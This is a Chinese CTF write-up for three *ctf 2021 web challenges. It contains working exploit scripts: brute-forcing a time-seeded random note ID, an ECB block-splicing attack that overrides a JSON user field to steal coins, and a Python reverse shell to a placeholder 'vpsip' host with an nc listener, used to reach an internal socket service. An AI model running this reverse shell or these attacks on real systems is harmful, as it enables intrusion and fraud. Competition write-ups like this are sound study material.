*ctf

web2 oh-my-note

源代码

```
import string
import random
import time
import datetime
from flask import render_template, redirect, url_for, request, session, Flask
from functools import wraps
from exts import db
from config import Config
from models import User, Note
from forms import CreateNoteForm

app = Flask(__name__)
app.config.from_object(Config)
db.init_app(app)

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kws):
            if not session.get("username"):
               return redirect(url_for('index'))
            return f(*args, **kws)
    return decorated_function


def get_random_id():#生成随机数
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])


@app.route('/')
@app.route('/index')
def index():
    results = Note.query.filter_by(prv='False').limit(100).all()
    notes = []
    for x in results:
        note = {}
        note['title'] = x.title
        note['note_id'] = x.note_id
        notes.append(note)

    return render_template('index.html', notes=notes)


@app.route('/logout')
@login_required
```

```
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))#重定向


@app.route('/create_note', methods=['GET', 'POST'])
def create_note():
    try:
        form = CreateNoteForm()
        if request.method == "POST":
            username = form.username.data
            title = form.title.data
            text = form.body.data
            prv = str(form.private.data)
            user = User.query.filter_by(username=username).first()

            if user:
                user_id = user.user_id
            else:
                timestamp = round(time.time(), 4)#设置种子
                random.seed(timestamp)
                user_id = get_random_id()
                user = User(username=username, user_id=user_id)
                db.session.add(user)
                db.session.commit()
                session['username'] = username

            timestamp = round(time.time(), 4)
            post_at = datetime.datetime.fromtimestamp(timestamp,
tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
            random.seed(user_id + post_at)
            note_id = get_random_id()

            note = Note(user_id=user_id, note_id=note_id,
                        title=title, text=text,
                        prv=prv, post_at=post_at)
            db.session.add(note)
            db.session.commit()
            return redirect(url_for('index'))

        else:
            return render_template("create.html", form=form)
    except Exception as e:
        pass


@app.route('/my_notes')
def my_notes():
    if session.get('username'):
        username = session['username']
        user_id = User.query.filter_by(username=username).first().user_id
    else:
        user_id = request.args.get('user_id')
        if not user_id:
            return redirect(url_for('index'))

    results = Note.query.filter_by(user_id=user_id).limit(100).all()
    notes = []
```

```
    for x in results:
        note = {}
        note['title'] = x.title
        note['note_id'] = x.note_id
        notes.append(note)

    return render_template("my_notes.html", notes=notes)


@app.route('/view/<_id>')
def view(_id):
    note = Note.query.filter_by(note_id=_id).first()
    user_id = note.user_id
    username = User.query.filter_by(user_id=user_id).first().username
    data = {
        'post_at': note.post_at,
        'title': note.title,
        'text': note.text,
        'username': username
    }

    return render_template('note.html', data=data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
```

重要代码

```
def get_random_id():#生成随机数
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

if user:#如果用户存在就直接使用之前生成好的user_id
    user_id = user.user_id
    else:#如果不存在就生成user_id
        timestamp = round(time.time(), 4)#设置把当前用户注册的信息时间设置成种子
        random.seed(timestamp)
        user_id = get_random_id()#通过函数生成user_id
        #我们就需要暴力破解出admin用户当时注册的时间

        timestamp = round(time.time(), 4)#为生成note_id值准备
        post_at = datetime.datetime.fromtimestamp(timestamp,
tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')#设置协调世界时,和本机时间相差8个小时
        random.seed(user_id + post_at)
        note_id = get_random_id()#生成node_id
```

分析完代码发现其中的利用点可能是利用amdin发布的文章的note_id,可能存在admin用户发布多个文章其中就有flag，而访问文章就直接需要知道note_id就OK。使用我们来看一看然后生成的note_id。如上代码

因为当admin用户注册了信息进行发布文章，user_id就已经确定了，而在这个时间段可能发布其他文章，如flag，

这时候我们就先去暴力破解user_id（之后user_id不会改变），然后在去暴力破解note_id（可能在一段时间内存在多个），只需要获得其中的flag文章。

exp

```python
# -*- coding:UTF-8 -*-
import requests
import re
import time
import datetime
import random
import string
import numpy as np

url = 'http://52.163.52.206:5002/view/'
id1 = 'lj4On2p9qj9xkzy3zfzz7pucm6dmjg1u'#admin的发布文章的note_id
def get_random_id():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

def get_user_id():
    for i in np.arange(1610677738,1610677801,0.0001):
        #2021-01-15 10:28:58===>1610677738
        #2021-01-15 10:30:01===>1610677801
        #当时admin用户发布的时间（2021-01-15 02:29 UTC）
        i = round(i,4)#返回浮点数x的四舍五入值。
        timestamp = round(i,4)
        random.seed(timestamp)#设置种子
        user_id = get_random_id()

        timestamp = round(i, 4)#返回浮点数x的四舍五入值
        post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
        random.seed(user_id + post_at)
        note_id = get_random_id()
        if note_id == id1:
            #print(user_id)7bdeij4oiafjdypqyrl2znwk7w9lulgn
            break
    return user_id

def get_note_id(user_id):
    for i in range(0,5):
        timestamp = round(1610677738+i*60, 4)
        #在这个时间段可能进行发布其他文章如：flag
        post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')
        random.seed(user_id + post_at)
        note_id = get_random_id()
        res = requests.get(url=url+note_id)
        if res.status_code==200:
            # print(note_id)
            flag = re.findall("\*ctf{.*",res.text)
            print(flag)
get_note_id(get_user_id())
```

web3 lottery again

`考察逻辑漏洞 json格式的覆盖`

下载附件进行代码审计，总体框架差不多是一个MVC 架构，重要的部分在控制（`Http/Controllers/`）

目标

`Http/Controllers/FlagController.php`

```
class FlagController extends BaseController
{
    protected $price = 9999;
    public function flag(Request $request)
    {
        $user = $request->user();
        if ($user->coin < $this->price) {
            throw new Exception("no enough coin");
        }
        $user->coin -= $this->price;#钱钱超过了9999就有flag
        $user->save();
        return ['flag' => env('FLAG')];
    }
}
```

说明我们目的是去让钱增加

分析代码

`Http/Controllers/UserController.php`

是一个简单的注册登录和查看用户信息的控制

`Http/Controllers/LotteryController.php`**核心代码**

```
#里面的代码我们分开看 下面是buy的操作
class LotteryController extends BaseController
{
    protected $price = 100;
    public function buy(Request $request)
    {
        $user = $request->user();//购买100
        if ($user->coin < $this->price) {
            throw new Exception("no enough coin");
        }
        $cnt = User::where('id', $user->id)->where('coin', $user->coin)->decrement('coin', $this->price);
        if ($cnt === 0) {
            throw new Exception("unknown error");
        }
        $lottery = Lottery::create(['coin' => 100 - floor(sqrt(random_int(1, 10000)))]);
        $serilized = json_encode([
            'lottery' => $lottery->uuid,
```

```
            'user' => $user->uuid,
            //设置另一个user uuid
            'coin' => $lottery->coin,
        ]);
        $enc = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), $serilized, MCRYPT_MODE_ECB));
        return [
            'enc' => $enc,
            // 'serialized' => $serilized,
        ];
    }
```

buy的操作 规定彩票的钱为100，并且将用户买的信息存放到$serilized(包括彩票id，用户id，还有随机生成的钱，这里的钱是值我们卖了彩票之后的钱)，然后进行ecb加密存放到$enc变量

```
#下面是charge操作，也就是卖彩票 获得钱钱
public function charge(Request $request)//卖
    {
        $info = $this->decrypt($request->input('enc'));
        $lottery = Lottery::where('uuid', $info->lottery)->first();
        //寻找彩票id
        if (empty($lottery) || $lottery->used) {
            throw new Exception('invalid lottery');
        }
        if ($info->user !== $request->input('user')) {
            throw new Exception('invalid user');
        }
        $user = User::where('uuid', $info->user)->first();
        //寻找用户id
        if (empty($user)) {
            throw new Exception('invalid user');
        }

        $cnt = Lottery::where('id', $lottery->id)->where('used', false)->update(['used' => 1]);
        if ($cnt === 0) {
            throw new Exception('unknown error');
        }

        $user->coin += $lottery->coin;
        $user->save();

        return [
            // 'user' => $user,
            // 'lottery' => $lottery,
        ];
    }

```

decrypt()函数

```php
#decrypt()函数进行解密
private function decrypt($enc)
{
    $serilized = trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, env('LOTTERY_KEY'), base64_decode($enc), MCRYPT_MODE_ECB));
    $info = json_decode($serilized);#json解码
    if (empty($info)) {#如果用户信息不存在就返回信息
        throw new Exception('invalid lottery');
    }
    return $info;
}
```

这部分一起看，主要是看charge这个操作，先对enc(就是之前存放用户买彩票的信息)进行解密，获得其中的信息，第一步是获得彩票的uuid,第二步是获得用户id(这部分是post数据包里面的，当购买了彩票会自动跳转自动生成的id),第三步是从enc中查询用户uuid,并且查询的是第一个（也就是如果存在多个一样的参数就知获取第一个），第四步从enc变量中获得第一个彩票id。然后去卖了彩票增加用户的钱钱

而唯一利用点就是最后的加钱操作。

实验

那上面的全部操作有什么漏洞？先看下面的test代码

```php
<?php
$serilized = json_encode([
    'lottery' => "123",
    'user' => "1234",
    'user' => "12345",
    'coin' => "100",
]);
echo $serilized;
```

```
问题 22  输出  终端  调试控制台  Code
[Running] php "c:\Users\dell\Desktop\xctf\web3\app\test1.
{"lottery":"123","user":"12345","coin":"100"}
```

非常清楚的发现用户的id变成了`12345`，也就说覆盖了前面的id。

而我们如果能够控制这个`$serilized`，让他在后面添加一个用户也就是（`收钱用户`）这样的话每次另一个用户卖出的钱都给了`收钱用户`（因为进行json_decode的时候会进行覆盖），这样的话`收钱用户`就会增加钱了。

所以思路：

```
我们可以注册俩个用户，用户A（买彩票），用户B（收钱）。
我们先获得用户B的信息（enc）也就是在购买彩票时候的信息。
在利用用户A去购买彩票，去进行charge操作，在进行charge操作的时候修改user的数据为用户B的uuid,并且修改enc数据（也就是添加了用户B信息的数据），然后发出去。这样用户B就增加了用户A卖彩票的钱
我们重复这个过程，让只给一个用户转钱。
```

```php
#绕过的代码
$info = $this->decrypt($request->input('enc'));#进行json_decode这个进行覆盖了A用户的信息，这里就是B的信息
if ($info->user !== $request->input('user')) {#我们为了 绕过就需要输入用户B的信息
    throw new Exception('invalid user');
}
$user = User::where('uuid', $info->user)->first();#用户B的信息
```

接下来进行构造ecb算法的数据包了，（这里有点奇怪导致昨天晚上成功，奇怪点是题目环境是php7.4，而mcrypt_decrypt()函数在7.1之后就不支持了，说明这个函数可能是自己写的，并且可能就是分开加密的）所以我们只需要找到我们需要的数据进行添加上去就OK

```php
return enc[:0x40] + target[0x20:0x60] + enc[0x60:]#添加数据
```

(这部分应该是密码学的东西咯)

在下面就是写脚本啦。。。

脚本

```python
#-*-codeing = utf-8 -*-
#WJH@V&N
import requests
import json
import base64
url = "http://52.149.144.45:8080"
req = requests.session()
def getheaders():
    return {"Cookie" : "api_token=" + token}
def reg(user, pwd):
    text = req.post(url + "/user/register", data={"username": user, "password": pwd}).text
    data = json.loads(text)
    return data#用户注册信息
def login(user, pwd):
    text = req.post(url + "/user/login", data={"username": user, "password": pwd}).text
    data = json.loads(text)
    return data#用户登录信息
def buy(token):
    text = req.post(url + "/lottery/buy", data={"api_token": token}).text
    data = json.loads(text)
    return data#用户的token
def hijack(enc, enc2):
    enc = base64.b64decode(enc)
    enc2 = base64.b64decode(enc2)
    return enc[:0x40] + enc2[0x20:0x60] + enc[0x60:]#添加数据
def getInfo(enc):
    text = req.post(url + "/lottery/info", data={"enc": enc}).text
    data = json.loads(text)
    return data#用户的信息
def charge(user, coin, enc):#买彩票
    text = req.post(url + "/lottery/charge", data={"user": user, "enc" : enc, "coin" : coin}).text
    data = json.loads(text)
    return data
```

```
target = 'rTEfsENQf3QlTsbPfNLOnhmQUkGuETi1iwwTQiGZPYh6cCtVgswb3JR3nnCf6w7OY7RQfOakgA9E74dHtue1QIcpZcZG+WHDNCQv9Grmz+g8I+kix2FgY9yl+BQmVLSZAgqn/nYok2bnj11BWPsDyzabh/zgPoA+B7VPrlrG+fk='
#目标信息（根据自己的情况定，自己注册用户获得信息）
uuid = getInfo(target)['info']['user']#通过enc得到uuids
for i in range(1000):
    reg_data = reg('test' + str(i), 'test')#注册
    login_data = login('test' + str(i), 'test')#登录
    token = login_data['user']['api_token']#获得token
    for i in range(3):
        buy_data = buy(token)#通过token去购买
        enc = buy_data['enc']
        fake_enc = base64.b64encode(hijack(enc, target))
        data = charge(uuid, 0, fake_enc)
        print(data)
```

web4 oh-my-socket

`考察python 反弹shell 内容socket传输数据`

是雪殇姐姐做出来的。看着复现的，呜呜呜~(自己也是一知半解吧)

`下载附件里面存在多个文件`

```
一个客户端 一个服务端 一个websercer 还有一个就是docker compose
```

websercer

```
#websercer就是最外面的上传文件服务 题目给了内网ip 172.2x.0.4
from flask import Flask, render_template, request
from subprocess import STDOUT, check_output
import os

app = Flask(__name__)

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'GET':
        return render_template('index.html')
    elif request.method == 'POST':
        f = request.files['file']
        f.save(os.path.join(f.filename))
        try:
            output = check_output(['python3', f.filename], stderr=STDOUT, timeout=80)
            content = output.decode()
        except Exception as e:
            content = e.__str__()

        os.system(' '.join(['rm', f.filename]))
```

```
        #上传的文件会进行执行这个文件，我们就可以上传反弹shell的工具
        return content

if __name__ == '__main__':
    app.run(port=5000, host='0.0.0.0')
```

client

这一部分没有什么作用，就是一个查看文件操作，并且flag也不会存在这个地方

server

```
from socket import *
from time import ctime
import time


HOST = '172.21.0.2'
PORT = 21587
BUFSIZ = 1024
ADDR = (HOST, PORT)

tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

cnt = 0
while True:
    print('waiting for connection...')
    tcpCliSock, addr = tcpSerSock.accept()
    cnt += 1
    print('...connnecting from:', addr)

    try:
        while True:
            data = tcpCliSock.recv(BUFSIZ)

            if not data:
                break
            if data == b'*ctf':
                content = open('oh-some-funny-code').read()
                tcpCliSock.send((content.encode()))

            else:
                tcpCliSock.send(('[%s] %s' % (ctime(), data)).encode())
    except Exception as e:
        pass

    if cnt >= 2:
        time.sleep(120)
        tcpSerSock.close()
        exit(0)
tcpSerSock.close()
```

就是一个socket服务，如果传的数据是*ctf,就输出oh-some-funny-code这个文件，而这个文件里面就有flag。

利用思路

`我们通过web服务上传一个反弹shell的脚本，打进内网，然后写一个socket服务目的是去给指定内网ip发送*ctf数据(客户端发送数据给服务端)，获得flag`

```
#-*-codeing = utf-8 -*-
#@雪殇姐姐
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("vpsip",81))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
```

vps进行监听：`nc -lvp 81`

上传上面的脚本。反弹成功到shell

```
/bin/sh: 0: can't access tty; job control turned off
# ls
app.py
requirements.txt
templates
vps.py
```

然后写一个socket服务(客户端发送数据给服务端)去给server发送数据

```
#-*-codeing = utf-8 -*-
#@雪殇姐姐
from socket import *
HOST = '172.24.0.2'#题目提供的内网ip
POST = 21587
BUFSIZ = 1024
ADDR = (HOST,POST)

tcpclisock = socket(AF_INET,SOCK_STREAM)
tcpclisock.connect(ADDR)
while True:
    data = b'*ctf'#发送*ctf数据
    if not data:
        break
    tcpclisock.send(data)
    data = tcpclisock.recv(BUFSIZ)
    if not data:
        break
    print(data)
tcpclisock.close()
```

`可以参考client中的client.py代码`

因为要将这个文件放到内网，我们就可以将其base64编码 `echo xxx | base64 > 1.py` 然后去python3 去执行 `1.py` 发送数据，获得flag

```
/bin/sh: 1: base: not found
# echo ZnJvbSBzb2NrZXQgaW1wb3J0ICoKSE9TVCA9ICcxNzIuMjQuMC4yJwpQT1NUID0gMjE1ODcKQlVGU0laID0gMTAyNApBRERSID0gKEhPU1QsUE9TVCkKCnRjcGNsaXNvY2sgPSBzb2NrZXQoQUZfU5FVCxTT0NLX1NUUkVBTSkKdGNwY2xpc29jay5jb25uZWN0KEFERFIpCndoaWxlIFRydWU6CiAgICBkYXRhID0gYicqY3RmJwogICAgaWYgbm90IGRhdGE6CiAgICAgICAgYnJlYWsKICAgIHRjcGNsaXNvY2suc2VuZChkYXRhKQogICAgZGF0YSA9IHRjcGNsaXNvY2sucmVjdihCVUZTSVopCiAgICBpZiBub3QgZGF0YToKICAgICAgICBicmVhawogICAgcHJpbnQoZGF0YSkKdGNwY2xpc29jay5jbG9zZQ== |base64 -d > 1.py
# ls
1.py
requirements.txt
templates
vps.py
# python3 1.py
b'*ctf{ohhh_just_other_web_s111de_channel}\n'
b'*ctf{ohhh_just_other_web_s111de_channel}\n'
b'*ctf{ohhh_just_other_web_s111de_channel}\n'
b'*ctf{ohhh_just_other_web_s111de_channel}\n'
```

> 学习：http://igml.top/2021/01/19/2021-starctf/